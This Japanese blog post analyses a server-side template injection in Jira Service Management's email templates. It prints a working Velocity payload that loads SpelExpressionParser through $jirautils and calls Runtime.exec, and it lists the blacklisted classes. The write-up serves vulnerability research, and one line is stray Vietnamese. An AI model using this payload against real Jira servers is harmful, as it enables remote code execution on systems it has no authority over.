
メールテンプレートのテンプレートインジェクションにより、Jira Service Management Server でコード実行が可能になる
メールテンプレートのテンプレートインジェクションにより、Jira Service Management Server でコード実行が可能になる
デプロイとデバッグの手順はこちらで解説しています。参考にしてください。
このCVEのDescriptionにも明記されているとおり、バグは Email Template 機能にあります。管理者権限があれば、ユーザーは通知メールのテンプレートを自由に編集できます。このバグは実行に管理者権限が必要なため、RCEに至ってもそれほど深刻ではありませんが、楽しみのためにブログを書くことにしました :) SSTIを調べている人は参考にしてください。
atlassian-jira-servicedesk-4.17.0-m0006-standalone をデプロイし、4.18.0 との差分を確認してみました。

この量を見た時点で……もちろん、ファイルを1つずつ読んだりはしません。私はとても怠け者ですから。冗談はさておき、セキュリティ修正に加えて、各バージョンでは機能の拡張や変更もあります。全部をdiffして読むのは非常に時間がかかります。もちろん場合によっては全部diffして読まざるを得ないこともありますが、今回はそんなことはしません =)))
SendBulkMail 機能を使って通知メールを生成しました。このエンドポイントのコールスタックについては、 のコールスタックと同様のため、冗長を避けて説明しません。SimpleNote.render 関数で context 変数を確認し、何を利用できるかを調べました:
自分の経験から、Utils、Manager、service などのキーワードを含む context/class を重点的に確認します。$jirautils という context(クラス com.atlassian.jira.util.JiraUtils)に、メソッド public static <T> T loadComponent(String className, Class<?> callingClass) が含まれていることに注目しました:
このメソッドの機能と使い方をドキュメントを探して調べました。入力に String className があり、出力がクラスということは、このメソッドがクラスを任意にロードできる可能性が非常に高いです:
System -> Email templates を開き、現在のテンプレートファイルをダウンロードしました。
テンプレートにはさまざまな種類があり、それぞれが異なる通知タイプ専用です。そこで、email\html\includes\header.vm のように、複数の通知タイプで共通利用できるファイルを探しました。
編集したテンプレートファイルをアップロードし、SendBulkMail で通知メールを送信しました。すると、メールに次のような出力が含まれていました:
おそらく、このクラスにはコンストラクタがないか、受け入れられないようです。そこで、コンストラクタ(引数なし)を持つ別のクラスを試してみました:
結果は期待どおりで、クラスの取得に成功しました:
3つのクラスがブラックリストに追加されたことがわかります:
org.springframework.expression.spel.standard.SpelExpressionParser,\
com.atlassian.jira.component.ComponentAccessor,\
com.atlassian.jira.plugin.ComponentClassManager
各クラスを確認すると、SpelExpressionParser クラスに public SpelExpression parseRaw(String expressionString) という関数があることがわかりました。Googleで少し使い方を調べたところ、おおよそ次のように使えるようです:
#set($SpelExpressionParser = $jirautils.loadComponent('org.springframework.expression.spel.standard.SpelExpressionParser',$i18n.getClass()))
$SpelExpressionParser.parseRaw("T(java.lang.Runtime).getRuntime().exec('calc')")
ご覧のとおり、parseRaw 関数は org.springframework.expression.spel.standard.SpelExpression クラスのオブジェクトを返すだけで、渡した式を実際にレンダリングするわけではありません。SpelExpression クラスを調べると、getValue メソッドがありました:
@Nullable
public Object getValue() throws EvaluationException {
CompiledExpression compiledAst = this.compiledAst;
if (compiledAst != null) {
try {
EvaluationContext context = this.getEvaluationContext();
return compiledAst.getValue(context.getRootObject().getValue(), context);
} catch (Throwable var4) {
if (this.configuration.getCompilerMode() != SpelCompilerMode.MIXED) {
throw new SpelEvaluationException(var4, SpelMessage.EXCEPTION_RUNNING_COMPILED_EXPRESSION, new Object[0]);
}
}
this.compiledAst = null;
this.interpretedCount.set(0);
}
ExpressionState expressionState = new ExpressionState(this.getEvaluationContext(), this.configuration);
Object result = this.ast.getValue(expressionState);
this.checkCompile(expressionState);
return result;
}
入出力を見て、スピリチュアル系の人間である私は、ドキュメントを読まずにすぐ試すことにしました:
#set($SpelExpressionParser = $jirautils.loadComponent('org.springframework.expression.spel.standard.SpelExpressionParser',$i18n.getClass()))
$SpelExpressionParser.parseRaw("T(java.lang.Runtime).getRuntime().exec('calc')").getValue()
結果は次のとおりです:
以上のように、VelocityのサンドボックスをバイパスしてRCEが可能になりました。しかし、このバグを発見した作者の立場に立つと、自分には説明できない疑問がいくつか残ります:
この3つのクラスを調べると、それらが1つのチェーンを形成できることに気づきました:
ComponentAccessor.getComponentClassManager()
=> ComponentClassManager.newInstance(String className) (Class này có thể load class tùy ý)
=> SpelExpressionParser
もし作者が私と同じように $jirautils を使っていたなら、残りの2つのクラスは必要ないはずです。しかし、作者が $jirautils を使わなかった場合、どうやってComponentAccessorを取得したのでしょうか???